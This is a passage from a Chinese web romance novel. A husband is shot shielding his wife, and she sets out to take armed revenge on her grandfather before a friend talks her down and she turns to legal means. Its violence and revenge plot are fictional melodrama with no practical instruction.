陆京御背光站着,看不清表情,她只看见他一个轮廓,鼻尖就好酸。 脖子上传来一阵刺痛,江凝烟皱眉。 “让他们俩走!否则,我一刀杀了她!”男人的手因用力而颤抖,紧紧压着她的颈部大动脉,江凝烟甚至觉得她的大动脉扩张就会碰到锋利的刀刃而断裂。 好疼…… 陆京御让开了道,对手下说:“放他们走。” 江凝烟听见他开口不知道怎么的,眼眶就更湿了。 她呼吸粗重,心跳加速而血脉偾张,耳朵里好像全是她的大动脉扩张的声音。 那两人权衡利弊后,丢下同伴走了。 他们只留一个人顶罪。 只要她死了,他们的仇就肯定报了。 陆京御再次开口,“不是她杀的。但我愿意给你很多很多钱,换回我妻子的命,如何?” 江凝烟望着他的宽肩窄腰,看着他从长廊那边一步一步走过来,保镖想跟过来,他怕刺激到男人,摆手让他们别跟。 他逐渐离男人近了,男人叫道:“别过来!” 陆京御停住脚步,长廊里的他只有一个黑色的轮廓,气场却强烈到让人匍匐,“我的很多钱,不是指一亿,两亿,而是指,百亿。” 男人惊住。 陆京御说:“知道拥有百亿什么样的感觉吗?” 他的声音听起来镇定,其实他的后背已经被冷汗浸透,他看见她望向他委屈又无助的眼神,胸腔像是被破开了。 这么美好的姑娘为什么都要欺负她?伤害她?为什么不给她留一点点活路? 她到底犯了什么错了要这么残忍地伤害她? 百亿什么感觉? 男人当然不知道。 陆京御:“你这辈子都是人上人,所有人都对你言听计从,地位,尊严,要什么有什么。” 男人沉默,手在抖。 陆京御知道他在过自己心里那关,或者是身为父亲那关,他劝道:“你的仇已经报了,你已经做得很好了。你女儿肯定也很爱你,她一定不希望你为了杀一个不相干的人而死对吧?” 男人呼吸逐渐急促。 陆京御继续引诱道:“想想你女儿有多爱你,她怎么可能希望自己父亲过得不好?” 他停顿了一下,说:“你的银行卡有吧。我现在就让人汇款给你。不用多久,两分钟内到账。” 男人犹豫了。 陆京御继续劝,“记得你的卡号吗?不记得的话,告诉我你是哪个银行的卡,我立刻问银行里的人。” 男人说:“你不会告我敲诈勒索?” 陆京御说:“这次是我没保护好我老婆,我认栽。只要你放过她,我就不恨你。相反……” 他的声音忽然从温柔转为狠厉,声音像是一根根冰丝扎进人的心脏,死死缠住,“如果她死在你手上,赌上我的命我的一切,我都会让你下半辈子生不如死。” 江凝烟呼吸屏住,心尖在颤抖。 她刚刚还在说这世界上没有一个人会管她,没有一个人会捞她。 可是,他第一时间赶来了,不顾危险…… 他说,他没保护好他老婆…… 男人心脏猛地漏跳一拍。 百亿和生不如死,好像不难选。 男人报了自己卡号。 陆京御打了电话给财务。 就在这时,spa间忽然有一扇门打开。 金属的枪眼泛着冷光从门里露出来。 陆京御看见了,脊背冻住。 江凝烟他们这角度完全看不见,但他们听见了开门声。 江凝烟的刀还架在脖子上,不敢转头,只看见陆京御惊恐的脸从黑暗中暴露出来,他朝她狂奔过来。 “嘭——”一声枪响回荡在长廊,几乎能震碎人的耳膜。 硝烟弥漫了整个长廊。 首先倒下的是持刀的男子,因为那个角度,男人挡住江凝烟了。 陆京御飞跃过来—— “嘭——”又是一声枪响。 第44章 陆京御死了(不是) “嘭——” 江凝烟被一股强大的冲力冲得头晕目眩。 后背的肩胛骨撞到木门上。 木门在她没反应过来之前就被打开。 她身子往后倾, 跟陆京御一起跌跌撞撞地进了屋里。 是陆京御在扑倒她的瞬间,还拧开了门。 “嘭——”门被关上。 “咔哒——”一声锁上。 陆京御后背抵在门板上,这才发出一声痛苦凄厉的呻.吟声。 江凝烟的手抵在他的胸口, 他的胸口的血瞬间染红了她的手。他的血沾满她的手心,渗入她的手腕,沿着她的小臂爬行, 江凝烟冷汗淋漓。 他脸色惨白, 只有一双漆黑的眸子盯着她。 好像是最后一眼一样黏在她身上, 凄楚、哀伤却又明媚坚强。 他胸口中了一枪。 正中胸口。 江凝烟沾满血的手指颤抖地从他胸口挪开, 嘴唇战栗地发抖, “陆京御……” 按照江凝烟对枪造成的伤害的了解, 这么近距离的枪伤,十有八九会没命,存活率太低了。 她脊背发凉,失去陆京御竟然让她像是穿回被吴雪雯追杀的那个雨夜那样恐惧。 她不敢看他背后的洞有多大。 她不敢想象陆京御忍着何等剧烈的痛,拧开了门, 把她推进门内, 踢上门, 锁上门。 这一连串动作中, 他要牵动多少次伤口。 他又要忍受什么等级的剧痛, 才能像没受伤一样, 行云流水地完成这些动作。 她眼泪像是拧开了的水龙头,夺眶而出。 她已经很久没哭了。 很久很久没哭了。 甚至早就忘了流泪是什么感觉。 “别哭……”陆京御额头上都是冷汗, 平时红润昳丽的嘴唇此刻惨白得毫无血色。 “嘭!”木门狠狠一震, 是那人用腿在踹门。 门震动得十分剧烈, 像是直接踹在陆京御伤口上,痛得他眼冒金星。 “陆京御!”江凝烟眼泪哗哗地流, 下巴发抖,泪水全都进了嘴里,她手指发抖不敢动他,但她知道应该把他挪到边上,不然那人每踹一脚门,都是踹在他后背的大洞上。 她小心翼翼地扶住他的臂膀,他已经站不稳了。 他胳膊顺势搂住她。 浓郁的血腥味代替了他平时清冷又热烈的雪松玫瑰香味。 “嘭——”那人还在踹门。 “宝贝……你从窗户逃走。” 陆京御虚弱的声音砸进她的心里,江凝烟心脏狠狠一抖。 他第一次喊她宝贝。 他的声音好温柔。 以前,听他声音这么温柔,只想怎么惹疯他才刺激。 现在,她真的好想想听他永远这么温柔地喊她宝贝,一直、一直、一直,直到世界的尽头。 她从来没听见亲人喊她宝贝。 她谁的宝贝都不是。 好不容易听到一次。 江凝烟眼泪流得更加汹涌,牙齿都在打颤。 “快点儿。”陆京御咬着牙说道,“走。” “嘭——”那人第三次踹向边上这扇门,门框上的粉尘扑簌簌地落下来。 江凝烟流着泪抱住他,“陆京御……” 陆京御后背像是被灼烧,疼痛难耐,他知道自己现在是一步都走不动了,他逃不掉了。 很快,他也说不了话了。 下一句,可能是他跟烟烟说的最后的一句话。 是他的遗言。 他努力保持清醒,仔细思考了下最后一句话该怎么说。 眼睛里有热意涌出,烫得他的眼睛好痛。 他好不甘心,好不甘心。 他正在一点点把她捂热,怎么就要死了呢? 他也好不放心,好不放心。 他死了,她一个人怎么办? 他还好害怕,好害怕。 怕她一个人连个陪伴的人都没有人;又怕她两个人,被对方伤害,对方不够体贴不够包容不够关爱。 他的烟烟很会封闭自己,一般人走不进她心里。 他看见她此刻泪眼婆娑又悲痛的样子,心里恍然知道,或许他已经走进她的心里了。 他身上的伤口更痛了。 好不容易走进她心里,她好不容易开始感受到被爱了,他就要死了。 他不知道她会承受怎么样的痛苦。 他此时此刻甚至宁愿自己还没走进她的心里。 眼里的热意更加滚烫。 喉咙里除了血腥味更多了苦涩感。 他的意识逐渐混沌,他得快点跟她说,他张口,血液从喉咙中喷射出来,“咳……” “陆京御……呜……”江凝烟太了解死亡了,她将死亡研究得太透彻,以至于她能看见陆京御生命的倒计时钟。秒针,滴答,滴答,滴答,一秒一秒地流逝,将他所剩无几的生命彻底抽干。 江凝烟哭到几乎要岔气,“陆京御…” 陆京御把自己喉咙里的血吞下去,牙齿混着血,唇角用尽全力牵起,露出抹虚弱的笑容,艰涩地说:“宝贝记住……这世界上有我爱你……” 他乌黑的眼眸注视着她,眼里都是动人又破碎的光。 “至死不渝的……”声音越来越轻,咬音却很重,好像是某种郑重的宣誓。 他额头抵着她的额头,两人呼吸的热气交杂着血腥味纠缠在一起,誓死缠绵。 “宝贝,我真的爱你……”他哽咽破碎地道。 江凝烟嘴唇快被她自己咬破,眼泪大颗大颗落下来,纵横肆虐,脸上没有一处是干的。 “宝贝,我死了,要找比我好的。”他声音越来越低,好像随时都会听不见。 江凝烟摇头,根本不可能有比他好的。 “起码跟我一样好的……”他沾着血的唇费力地贴上来。 江凝烟见他费力,主动扣住他的后脑,吻住他。 不带情欲的,满是怜爱,悲痛,心碎。 “嘭!”砸门声砸断了他们的吻,像刀生生把连体婴劈开。 “快走。”陆京御后脑靠在墙上决绝道。 江凝烟哭得胸口的经脉像是全部抽住了,她已经很久没有这样痛过了。 陆京御…… 为什么要这样? 她这世界上,终于有个人肯真心对她好了,却要被剥夺生命! 这样血淋淋地从她身边抢走。 为什么要这样对他? 为什么要这样对她? 她好恨! 好恨!好恨!好恨! 她要报仇! 她要去报仇! 她翻窗出去。 走的时候,没有再看陆京御一眼。 身后不断传来“嘭嘭嘭”的踹门声,一声比一声剧烈,一声比一声具有破坏力,哪怕她在逐渐远离,她依旧能清楚感觉到。 她像是穿越回了当年吴雪雯追杀她的那个雨夜,不顾一切往前冲,保镖们看见枪都跑了,没有人敢傻乎乎地冲上来。 钱和命,当然是命重要。 只有陆京御。 会傻到冲上来帮她挡子弹。 可他将永远被埋葬在这里…… 她的车还停在门口,她坐上迈巴赫,将油门轰到底,轮胎与地面摩擦出尖锐的声音,急转,而后,在山间飞驰疾行。 不知道多久—— “嘭——”的一声枪响。 山间像是地震了。 地动山摇。 江凝烟像是被囚禁牢笼里的野兽,眼神越发凄厉与凶狠,眼睛血红,迎风流着泪,一眨不眨。 陆京御死了。 死在二十八岁这年。 死在他盛大又灿烂的青春岁月。 死在他人生正要登顶的这一年。 这时候,她脑海里回想起爷爷对他的评价:【你是不知道陆京御有多能耐,从小就聪明,14岁进的清大少年班,23岁清大博士毕业了,在校期间不光把博士念了,还自己搞项目赚了好几百亿。这个新项目绝对有潜力,说不定就是个万亿企业。】 他花了多少心血搞的产品。 有多少人正斗志昂扬地准备追随他走上巅峰。 又有多少人在期待上位者中出现一个这样温柔而强大的人。 可他死了。 就像电影在高潮来临前谢幕;像月亮在月圆前吞没;像太阳在初升时坠落。 陆京御死了。 他还有好多事情没做。 他本该有美好的未来。 他本将是那个璀璨又盛大的世界里的主角。 他的光华将落满人间。 可他死了。 可他死了! 这世间为何还一成不变? 她听见了警车的鸣笛声,呼啸着从她身边飞驰而过。 她脊背僵住! 警方只差两分钟就到了! 如果她能挡住门! 挡住两分钟! 用美容床、用任何东西、用任何任何的东西,挡住那个魔鬼两分钟! 只要两分钟就好! 只要挡住他两分钟就好! 警察就到了!!! 这个认知让江凝烟彻底崩溃!她的心像是被破开了大洞! 内心的自责与懊悔像是海啸般朝她涌来,将她的世界整个吞噬。 她的世界彻底崩塌了! 她错了! 她错了! 她错了! 她该不顾一切地跟他奋战到最后一秒! 她错了、她错了、她错了! 是她让这颗月亮在月圆前被吞没! 是她让这颗太阳在初升时坠落! 是她没有坚持! 是她让陆京御救了她之后,却孤零零地被丢在那里没有别人来救他! 是她让他这么孤独地死去! 他一个人在那儿等待被枪杀是不是也会害怕? 他这么勇敢,可他也是人啊,肯定也会害怕! 是人怎么不可能不怕死? 那门每震一下,他心里什么感受? 他有没有害怕到竭尽全力想站起来试试逃走,博一线生机? 是不是会等她离开之后,一遍一遍尝试站起来? 让她走,是不想让她冒一点风险,不想拖累她一点点? 她不敢想象陆京御一次一次想站起来,一次又一次滑到地上的场景。 那该有多狼狈、凄惨又悲凉! 如果她能在他站起来的时候搀扶他! 如果她能在他竭尽全力想迈出一步的时候扛住他! 如果她能给到他一点点,一点点帮助,他就不会那么凄惨! 江凝烟喉咙被堵住了,呼吸不顺,不断地大口吸气呼气,有那么一瞬间,她甚至觉得她喘不上来气,她再也不会呼吸,连呼吸都不会了。 她该坚持带他走的! 她怎么能放弃他呢? 是她!是她!是她! 是她放弃了他! 是她害死了他! 冷风灌进她的喉咙里,像是刀割一般锐利,眼里分明都是泪水,却被吹得干涩。 前面红灯,她反应慢了,猛地一个急刹车,车差点撞到前面的车。 到是幸好,没撞上。 可她的头顺势靠在椅背上,神情哀默又痛苦…… “啪嗒、啪嗒、啪嗒。”小小的冰雹砸在车窗上,像是石子砸在车窗上般震耳欲聋。 她有些茫然地看着车窗上的冰雹,静止不动。 为什么她刚才没被撞死? 陆京御死了,为什么她还活着? 她闭着眼听着黑暗中的冰雹噼啪声,缓缓睁开眼。 哦……为了报仇…… 第45章 我一定要让你尝尝他受过的一切! 江凝烟面无表情地回到陆京御和她的家。 阿姨见她满身是血进来, 满脸肃杀与冷锐,吓了一大跳,手中的吸尘器都摔在地上, 发出一阵刺耳轰鸣。 “夫人?你怎么了夫人?”她跑上来,“怎么流这么多血?” 江凝烟没有招呼。 头也不回地跑到二楼。 护照、手机、银行卡…… 她把自己的东西一样样丢进包里。 她爷爷她跟陆京御一直在盯着的,这两天他出国去了。 警方还没有证据能证明跟他有关, 办理不了限制出入境, 她们看着他出国无可奈何。 但陆京御通过强大的人脉, 知道他在国外哪个地方。 她们并没有跟丢他。 他在国外就像普通在度假一样, 没有任何异样。 只是担心, 万一事情暴露, 他在国外,通缉他的手续复杂,他有很多时间缓冲。 江凝烟冷着脸走进衣帽间,捞了一身黑色运动服,脱掉身上的衣服, 换上。 脸上还有血, 她想直接走, 但她知道她这副鬼样子入不了境。 她走进了浴室, 把脸洗干净。 血干在脸上, 洗了很久, 她动作粗暴,似乎快将皮搓掉。 转眼看见浴池边上的台子和狐狸毛的垫子。 想起陆京御把她放在那上面, 两人交缠的呼吸, 缠绵的热意, 舒爽的快意。 她眼眶又红了。她的眼睛现在一流泪就痛。 刺痛得她不得不闭眼,但是眼泪还在不断流, 眼睛越来越痛。 半分钟后,她选择忽略眼睛的痛楚,睁开泪眼。 她要温柔的、温热的、会动的陆京御。 谁也还不了她,那就让他们陪葬! “唰”黑色运动服的拉链拉过脖颈,她提着包离开。 她直接坐车到了陆京御的私人飞机停机坪,跟飞行员说:“去加州LA。” 飞行员知道她在陆京御心中的地位,不敢怠慢,立刻安排起飞。 飞机在十几小时后抵达加州LA。 她为了防止别人干扰,把平时跟他们联系的手机号码给关了,用了另外一个号码拨打LA那边自己的联系人。 “枪,半小时后送到318 XXXRd。” 联系人那儿本来就有枪,但他劝道:“非常理解您现在的心情,但是,还请理智点。” 江凝烟的声音很冷静,“我非常理智。” 联系人沉默。 江凝烟:“我非常理智地知道,错过这个机会,警方找不到他谋杀的证据,我们也找不到他人,从此就没有报仇的机会。” 她的语气波澜不惊,没什么起伏,寻常得好像在讨论今天晚上吃什么。 二十分钟后,江凝烟到了取枪的地点。 她练过射击。 甚至很有射击的天赋。 她是个疯子,她内心一直觉得这是个好东西,能弱化男人女人身体间的差异。 然后,她坐在车里,用ai变声,伪装他国内一个老朋友打他电话,想把他约出来。 他还接电话。 毕竟,突然失联,反而显得特别心虚,他当然是想若无其事地把锅甩给那些死了孩子的人。 这么多年,她当然分析过她爷爷的杀人动机。 钱只是一部分因素。 还有一部分因素是高娶了赵家的女儿,赵家并不喜欢用权力帮助江家,这让他的联姻目的达成不了。反而,联姻后他发现,赵家因为女儿嫁在江家还会限制江家。要求江家稳妥,不许冒进。 一个一直是家族里“皇帝”的角色,因为这个联姻,半点好处没捞着,反而开始被压制。多年来,他积怨已深。 她姓江,但身上流了一半赵家的血,她爷爷根本不愿意把钱给她。 合同签了,拖死了姥爷之后,就想着她如果识相就接受他不给钱,还要让陆家帮助江家;可惜的是,她不识相,她要江家的钱,也不让他参与陆京御的项目。 巧合的是,当年的吴家父女放出来了,他有了好多送上门的顺手收拾掉她的机会。贪婪的心思加上多年的积怨,一不做二不休,就想下盘大棋收拾她。 如果只是收拾她,她还是会选择用法律途径跟他对抗。 但他杀了陆京御,不管用什么方法她都要杀了他! 她也要把他骗出来,杀了他! 江凝烟打开电脑,电脑荧幕的光映进她冰冷的眼底,整张脸都是泛着冷戾的光。 “立林啊,在LA啊?” 江立林愣了一下,哈哈笑道:“诶?见了鬼了,你怎么知道?” “巧了啊,在机场看见你了,不过离得远叫你你没听到。” 江立林像是松了口气,“原来如此,也来美国了?” “买了个新别墅,你来我家看看,顺便,我还有个特别好的项目,跟你聊聊。” “什么项目啊?” “沪城那个林以棠要搞医用机器人,你知道她的水平,搞ai一搞一个准。我这儿有她的关系,不过我最近现金流有点紧,我高息跟你借一点,也给你分点股份,我们一起投啊。”江凝烟紧张得心脏乱跳,但声音听起来平静又得意,她特地说的沪城,离远点,老头子信息少一点。 沪城? 林以棠? 那位一搞ai后面一帮科技圈的年轻巨富们抢着投资,还能轮到他们这些老古董? 江立林年纪大了,但看着人家年轻人弯道超车,赚上万亿的钱,好生羡慕。 但他们的圈子也没那么好进去。 科技圈本来就跟他有壁垒,外加他常年深耕京城,沪城的人脉他是更没有了。 传闻那姑娘难对付得很,跟只狐狸一样狡猾。现在更是不缺钱了,她的股份有那么好拿? 江立林:“她肯让你投资啊?” “我自然有我的门路。你过来我家喝个茶?我们聊聊。” 老头子出来了! 江凝烟露出一抹狠戾的笑容。 她恨得咬牙切齿,她不会一枪毙了他,她也要让他体验一下受了重伤一动动不了,背后的门哐哐哐被狠砸,死神一步一步逼近的恐惧。 陆京御受的,她要他全部还回来! 一幢豪华别墅的铁门打开。 老头的车进来了,下了车,身后跟着几个保镖,往门厅走。 江凝烟从柱子后面出来,拿枪指着老头。 她森冷一笑,“想不到吧?爷爷?” 江立林面色一僵。 第一次,他在她面前不再摆长辈的谱。 果然,不论什么时候,都是枪杆子里出政/权。 真理只在大炮射程范围之内。 江凝烟平静地说:“保镖们把手举起来,否则的话,我先毙了你们。我这儿还有狙击手埋伏,当然我并不想伤害你们,跟你们无关。” 三个保镖全部把手举了起来。 没人会为了一点工资,帮老板拼命。 他们集体把手举了起来后,江立林横了他们一眼,但没人理睬他。 他声音几分惶恐地问道:“烟烟,你这是干什么呢?你是不是误会什么了?” 江凝烟冷冷一笑,“误会?” 她从台阶上往下逼近了一步,江立林感受到了那种压迫感。 “你该不会以为我真的蠢到被杀了四次,还以为这是我自己点背吧?” 江立林焦急地辩解道:“不是吴雪雯干的吗?她就是想让我们家破人亡,想让我们家全都给她陪葬,你怎么这么糊涂呢?爷爷怎么可能会杀你呢?” 跟十几年前一样的说辞。 那时候,她年纪小,即便不相信也无能为力,只能伪装相信。 可如今不一样了。 江凝烟眸光一戾,“你在陆京御身上弄了多少道口子,咱们现在来算算。” 江立林脸色惨白,对面的枪口在阳光下反着刺眼的光,像是吞人的蛇口。 “噔。”她从台阶上往下又迈了一步。 她每走一步,江立林就觉得腿软几分。 “商场。他为了保护我不坠楼,后背撕了条八厘米长的口子,后来缝了六针。” 她眼光变成利刃像是要生生剐了江立林,“八厘米,背上!” 她从背后掏出一把刀,在夕阳下散发着嗜血的光芒。 江立林心里一颤,辩解道:“什么商场?商场里怎么了?我不知道!” “你知不知道他恐高!他恐高他还要救我!他完全控制不好自己的力道!狠狠地把自己的后背往后面磁砖上砸!后背割了条八厘米的口子!” 当时她只顾着看他的肌肉,看他战损的身体,现在想想,她心像是被捏住了,眼泪克制不住地涌出来! 她把刀刃抬起来,面向他,“你试试吧,割开八厘米的口子,得有多疼。” 江立林慌神地道:“你说清楚啊!什么商场?怎么回事?” “一个装修工,是吴浩的工友。吴浩跟你联系的时候,他知道了杀掉我你会给他们钱。所以趁我去商场的时候,临时起意,杀掉我。” “那肯定是吴浩因为他女儿坐牢,想要我们家里人自相残杀啊!也可能他想要嫁祸给我,从你那搞点钱。”江立林急急道,模样无辜极了。 江凝烟冷笑,果然早就想好了甩锅的说辞。 她不跟他再讨论这件事,继续清算,“你一直在监视我,看见吴雪雯杀人嫁祸给我计策失败后,煽动失去孩子的家属,杀掉我。在警察局门口,陆京御挨了数不清的铁棍。起码十几下。” 那天的画面出现在江凝烟脑海里。 那个贵公子,一生被人捧着的贵公子,在那一天像是战士一样英武。 只是为了保护她,以一敌几十,挨了十几铁棍。 这世界上,再也没有一个人会为保护她誓死不退一步! 可是后来,她还跟他闹脾气,觉得他不过是男人的热血,还怀疑他的感情,手机关机,作妖,让他冒着暴雨从沪城赶回京城。 她下巴颤抖,眼泪像是暴雨一样落下。 她好像忘了跟他说一句:她已经不能没有他了。 她该跟他说一句的。 可是,已经来不及了! 江凝烟流着泪的眼眸一瞥,凌厉地扫了眼放在边上的高尔夫球棒,抖着枪口愤怒地道:“就用那球棒打十五下!你试试有多痛!” 十五下! 高尔夫球棒? 江立林一把老骨头,哪吃得消用棒球棍打,他双腿下意识地往后退了一步。 江凝烟哭着狞笑,“对方是男人打的,我是女人下手,已经便宜你了,躲什么啊?” 江立林说:“不关我的事啊!你有什么证据,证明是我煽动的?” 江凝烟冷笑,“证据?” 她又向他逼近了一步,含泪嘲讽道:“你好高明啊。这么多年,没人能掌握你的证据。你是不是很得意啊?法律都制裁不了你。” 江立林理直气壮地道:“没有证据你怎么能乱咬人,乱杀人呢?!” “我不需要证据!”江凝烟撕心裂肺地咆哮道。 “我只知道只要杀了你,陆京御的仇一定报了!”她把昨天那些歹徒跟她说的话,原封不动地丢会给他。 江立林瞳孔猛地一缩,死亡的恐惧,甚至不得好死的恐惧笼罩了他。 他知道江凝烟疯了。 不计后果也要报仇。 江凝烟咬牙切齿地说:“最后,他为了救我,胸口被射了个大洞!” 她一边说,一边呼吸开始更加急促,扣着扳机的手指发颤,甚至控制不住地扣起扳机,暴怒道:“凶手还在他伤口踹了一脚!狠狠地踹了一脚!我一定要让你尝尝这有多痛!” 江立林跌坐在地上,面色惨白,“你真的误会我了!” 江立林恐惧得彻底崩溃了,眼泪都吓出来了,“你误会我了!你真误会我了!你们都救我啊!谁把她枪夺掉,我给谁十个亿!” 保镖们神色变了,江凝烟大吼一声,“谁动一下我就射谁!” 保镖们像石像一样站着不动。 江凝烟俯视看着江立林,“看见了吗?钱能买你的命吗?这就是你爱钱的下场!” 江立林六神无主地辩解道:“真不是我!你怎么能错杀好人呢?我是你爷爷啊!我要是想杀你,有的是机会!为什么要等到现在!” 江凝烟说:“因为我姥爷威胁过你吧?如果我出事,就是你干的。他在那个位置,你还敢?” 江立林噎住。 吴雪雯这丫头确实是个贱人,分明说好了交易,还在杀人前多话。 当年他当然没让人掌握任何证据。谁也拿他无可奈何。但她姥爷确实说了,这次放过他,下次只要江凝烟出事就不管三七二十一算到他头上。 江立林说:“你不是要钱吗?爷爷只是最近手头有点紧,给得慢了,我立刻让你叔叔打给你!给你多打点!你一定要相信爷爷啊!” “可是陆京御死了!”江凝烟发出一声怒吼。 院子里像是有一包炸药炸了,空气里全是硝烟的味道。 “你可以不要我!你可以不给我属于我的钱!你可以不对我好,甚至想杀我!你可以剥夺我身为江家和赵家的血脉本该享有的一切!” “但你不能碰陆京御!”她嘶吼着,最后那声声音都是破的。 “我出身在江家,我妈死后,我这二十年,没有一个人对我这么好!你们一个一个要么不作为,要么想我死!他是唯一一个对我这么好的人!” “我好不容易找到一个对我这么好的人!你就杀了他!”江凝烟手指紧绷着像是随时要开枪,向前逼近了一步。 江立林紧张得大口大口喘气。 千钧一发之际,外面有人大喊:“烟烟!” 是宋枝意的声音。 江凝烟皱眉。 宋枝意的脸出现在围墙上,她趴在围墙上,大声喊道:“别冲动!陆京御现在还在抢救呢!” 江凝烟握着枪的手一抖。 陆京御……在枪救?他还能抢救? 这已经十几个小时了,他还能抢救? 她眼泪瞬间飙出来。 可是也只是在抢救。 活不过来了。 那种状态下,不知道后来那一枪射在哪里,但很难救活了。 宋枝意趴在围墙上,“你要是杀了人被抓进监狱,他醒了找不到你人怎么办?!” 他不会醒过来了,不可能醒过来了。 别给她期待了! 她承受不住再次失去! 江凝烟下巴颤抖,流泪道:“你能不能别再说了?我知道我永远失去他了……” 宋枝意看她那样子也很心疼,道:“陆京御去救你的路上,跟我说的,如果他回不来,你回来了,让我照顾你!” 江凝烟咬紧下唇,胸口也像是被枪击中了,破了个大洞。 他忙不迭地赶来,争分夺秒,甚至抱着死也要救出她的决心,却无论何时都记得为她着想,为她托底。 宋枝意说:“我不能不说……我一定得阻止你……他拿命来换的你的命啊……” 江凝烟握着枪的手发抖,眼泪扑簌簌地掉落。 第46章 “陆京御,我现在不能没有你了。” 陆京御拿命来换的她。 是的。 起码她在确认陆京御死前, 不能把自己整进去。 要是陆京御醒来,看见她在里面,会很生气。 再等等? 如果他能活就先放他一马?如果他死了…… 江凝烟眼神一戾。 宋枝意看她的眼神, 焦急喊道:“放下枪!陆京御救了你,你不能让他救了一个杀人犯!” 这话像是锤子一样砸进江凝烟胸口。 江凝烟眸光震荡,握着枪的手发抖。 对。 她在干什么? 她居然让他救了一个杀人犯? 她不能让他救了一个杀人犯。 一个肮脏、卑劣、疯狂的杀人犯…… 不行。 那么好的陆京御救回来的人不能是杀人犯, 当然, 那么厉害的陆京御救回来的也不能是个废物! 她要做的, 不是在这里发疯杀人, 而是, 在法律允许的范围内, 把江立林送进去! 让他身败名裂!让他彻底失去他宁愿泯灭人性也要追求的钱财、地位、权势! 让他老无所依!让他彻底地坠入深渊,再也爬不起来! 短短的一分钟内,她没发现,她的世界因为爱而崩塌,也因为爱而重塑。 她没发现, 她一直以来鄙夷唾弃的不是爱, 而是虚伪的爱, 是披着爱皮的掠夺和驯化, 但是, 真正的爱, 让阴暗者光明,让疯狂者冷静, 让赴死者惜命。 江凝烟放下枪, 好像浑身都充满了力量, 仇恨与爱的力量,交缠拉扯, 仇恨予以她动力,爱将她扯入正道。 宋枝意见她放下了枪,欣喜,安慰道:“我们都理解你,甚至欣赏你,你很有勇气,像个英雄一样,手刃罪犯,他确实该死,但我们一定要用正当的方法惩治他。不要让那么勇敢的你一辈子背上污名。” 江凝烟抬眼望向在围墙上趴着的宋枝意,太阳在她身后,浑身散发着光芒。 这时,她还没心思具化这几束光的意义。后来漫长的岁月里,她每每回忆起这个片段,才发现,在她快要误入歧途时及时将她扯回来的这个举动,人们称之为救赎。 宋枝意说:“烟烟,打开门,让他走。剩下的,我们一起想办法。” 哐当一声。 江凝烟丢下了刀。 这不代表丢下了仇恨,而是丢掉了犯罪的疯狂。 她从口袋里掏出铁门的遥控器,将门打开。 江立林连滚带爬地跑了。 宋枝意和顾御洲夫妇从铁门里进来,江凝烟没心思招呼他们,立刻给国内的警察打电话,说明了案发现场的情况,“被害者家属,也就是绑架,诱杀我的那些歹徒,本来已经是撤了,最后出来一个人,身上带枪,想枪杀我,但是,陆京御救了我,请问这个人你们抓到了吗?或者这人是谁有什么线索吗?” “这个人逃跑了。但从身形和行动特征中,可以确认是被害者家属中的一员。” 江凝烟的心凉下去。 也是就是没有证据证明是另外人买凶。 现在最接近幕后凶手的线索就是装修工那条线,因为事发突然,还有突破的可能。 “那……你们找到陆京御的时候,他是什么样的,伤势怎么样?” 她咬着牙,心里发抖,问警方。 这位警察不知道,他问了另一个同事。 等待的过程中,江凝烟的心脏跳动得疼痛,胸腔像是长满了倒刺,心脏每次扩张都被刺痛。 话筒那边换了个声音,说:“胸口中了一枪。因为你跑了,对方没得逞,没对陆京御下手,也选择了逃跑,在逃跑过程中遇到我们埋伏的狙击手,我们开了一枪,可惜没射中,让他跑了。” 江凝烟睫毛一抖。 所以她在山上听到的枪声是警察埋伏的枪声? 陆京御没再挨一枪,她心里依旧七上八下,又问:“那你们找到陆京御的时候,他怎么样?” 警方说:“失血性休克,我们立刻将他送到了医院,用直升机送的。” 江凝烟眼眶吸了下鼻子,哽咽着道:“那,你们找到他的时候,他有没有好好靠在墙壁上?我跟他分开的时候,他是坐着靠在门边的,你们见到他的时候他是什么状态?能给我详细复述一下当时的场景吗?” 他回忆了一下,“不是坐着靠在墙壁上。地上有条血痕,他一直爬到了窗边。他应该试图站起来,窗户边上都是他的血迹,但那时候歹徒来了,阻止了他翻窗,自己翻窗跑了。他被歹徒甩在地上,就再也没有起来。” 江凝烟胸口像是被劈了一刀,每根神经末梢都感觉到了强烈的痛楚。 是她没保护好他。 他拼死保护她,但她没在他重伤后保护好他。 她脑海里生成陆京御当时的画面,心脏像是被一颗黑洞吸噬,一点一点坠入黑暗。 她甚至想给自己来一枪,再摔到地上看看到底有多痛! 他是不是想躲到外面,希望歹徒没心思找他?或者觉得到了外面后,警方能更快发现他? 他在竭尽全力地为自己求生! 可是她却丢下了他! 他为了不拖累她让她先走……她就真的走了…… 江凝烟仰天,泪如泉涌。 她一想到那么芝兰玉树英俊矜贵的一个人狼狈地在地上爬,就呼吸都困难。 宋枝意安慰她道:“你跑了是对的。你要是不跑,那歹徒一定会杀你。陆京御只要有半口气在,他都不会让子弹射在你身上。他只会再挨一枪。” 江凝烟听不进去,只知道她丢下了重伤的他。 她让他吃尽了苦头。 顾御洲说:“赶紧回去吧。这么严重的手术,就算手术顺利,术后都不一定能醒过来,你得陪在他身边,给他点力量。” 江凝烟心脏像是被悬在剑上,连忙往回赶。 她拨通了陆永平的电话,“爸,他现在怎么样?” 陆永平声音听起来很疲惫,“手术刚结束,手术算成功,但是现在ICU,医生说看他能不能熬过去了。” 江凝烟抿唇:“我现在赶回来得好久,您不然把手机外放放到他身边,我想一直跟他说话。”- 陆京御眼前一片黑暗,伸手不见五指。 唯一的光在很远很远的地方,肉眼只能看见小小一个方块,但那里散发着光。 他好像被某种力量驱使着,像是行尸走肉一样地往那儿走。 他走了几步,忽然想起什么,身体本能地开始抗拒这股力量。 烟烟…… 他在这儿,那她呢? 她在哪儿? 他不能丢下她一个人。 像是感受到他的抗拒,耳边有声音在催促,“走吧。她不需要你了。” 不需要? 他彷徨了,她不需要他吗? 不可能。 她一个人怎么办? 她一定需要他。 耳边的声音笑着说:“她说她永远不会爱上你的啊。” 他像是被捅了一刀,直击心脏的。 他的记忆已经变成碎片一样,不完整,模糊,并且少得可怜,但依稀能记得些,“可她在哭啊。” 他记得她悲痛的眼神,记得她泪眼婆娑的样子,记得他们接的最后一个吻,“她不舍得我,她开始接受我了。” 身边更黑了,漆黑、压抑、窒息,像是被活埋了,有什么黑色的,他未知的实体塞满了他周边,空气越来越稀薄。他开始难以呼吸。 “别磨蹭了。快走到那扇门,不然你会一直被囚禁在这儿,永远身处这片窒息和黑暗中。” 他开始反抗,那种黑暗的压迫感像是要将他生生埋葬。 